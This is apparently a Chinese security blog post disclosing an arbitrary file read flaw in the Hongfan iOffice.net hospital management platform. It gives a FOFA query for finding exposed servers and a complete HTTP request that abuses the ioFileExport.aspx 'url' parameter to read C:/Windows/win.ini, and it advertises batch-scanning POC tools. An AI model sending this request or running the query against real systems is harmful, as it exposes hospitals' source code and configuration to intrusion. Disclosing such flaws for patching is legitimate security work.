​红帆iOffice 存在任意文件读取漏洞 附POC

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 红帆iOffice 简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

红帆iOffice.net从最早满足医院行政办公需求（传统OA），到目前融合了卫生主管部门的管理规范和众多行业特色应用，是目前唯一定位于解决医院综合业务管理的软件。

2.漏洞描述

红帆iOffice.net从最早满足医院行政办公需求（传统OA），到目前融合了卫生主管部门的管理规范和众多行业特色应用，是目前唯一定位于解决医院综合业务管理的软件，是最符合医院行业特点的医院综合业务管理平台，是成功案例最多的医院综合业务管理软件。红帆iOffice.net ioFileExport.aspx处存在任意文件读取，攻击者可以从其中获取网站路径和源码等敏感信息进一步攻击。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

红帆iOffice.net信息管理平台信息化平台

4.fofa查询语句

(app="红帆-ioffice" || app="红帆-HFOffice")

5.漏洞复现

漏洞链接：http://127.0.0.1/iOffice/prg/set/ioCom/ioFileExport.aspx?url=C:/Windows/win.ini

漏洞数据包：

GET /iOffice/prg/set/ioCom/ioFileExport.aspx?url=C:/Windows/win.ini HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

读取C:/Windows/win.ini 文件

读取配置文件

6.POC&EXP

关注公众号 南风漏洞复现文库 并回复 漏洞复现64 即可获得该POC工具下载地址：

本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全

7.整改意见

联系厂商更新补丁：https://www.ioffice.cn/

原文始发于微信公众号（南风漏洞复现文库）：​红帆iOffice 存在任意文件读取漏洞 附POC